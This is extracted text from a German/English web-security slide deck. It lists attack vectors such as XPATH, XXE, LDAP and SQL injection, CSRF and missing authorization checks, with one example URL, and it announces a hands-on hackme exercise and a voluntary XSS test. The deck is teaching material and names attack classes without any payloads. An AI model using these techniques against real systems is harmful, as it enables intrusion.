» XPATH injections

47

Andere Vektoren

» XPATH injections» Similar to SQL injections using XPATH syntax

47

Andere Vektoren

» XPATH injections» Similar to SQL injections using XPATH syntax

» XXE

47

Andere Vektoren

» XPATH injections» Similar to SQL injections using XPATH syntax

» XXE» XML external Entity Injections

47

Andere Vektoren

» XPATH injections» Similar to SQL injections using XPATH syntax

» XXE» XML external Entity Injections» Upload an XML file including references to

local files

47

Andere Vektoren

» XPATH injections» Similar to SQL injections using XPATH syntax

» XXE» XML external Entity Injections» Upload an XML file including references to

local files» LDAP injections

47

Andere Vektoren

» XPATH injections» Similar to SQL injections using XPATH syntax

» XXE» XML external Entity Injections» Upload an XML file including references to

local files» LDAP injections» Logical Flaws

47

Andere Vektoren

» XPATH injections» Similar to SQL injections using XPATH syntax

» XXE» XML external Entity Injections» Upload an XML file including references to

local files» LDAP injections» Logical Flaws

» Missing authorization checks

47

Andere Vektoren

» XPATH injections» Similar to SQL injections using XPATH syntax

» XXE» XML external Entity Injections» Upload an XML file including references to

local files» LDAP injections» Logical Flaws

» Missing authorization checks » /user/edit.php?id=1 for admin editing

47

Hands On

» Einfache SQL-Injection » Blind SQL Injection» Hackme „OWasp Casino“

» SQL-Injection» Cross Site Request Forgery» Logischer Fehler

48

Freiwilliger Penetration Test

» Nur Suche nach XSS-Lücken» Gerne auch private Seiten

49

Fragen?

»

50

Vielen Dank für Ihre Aufmerksamkeit!

51

Recommended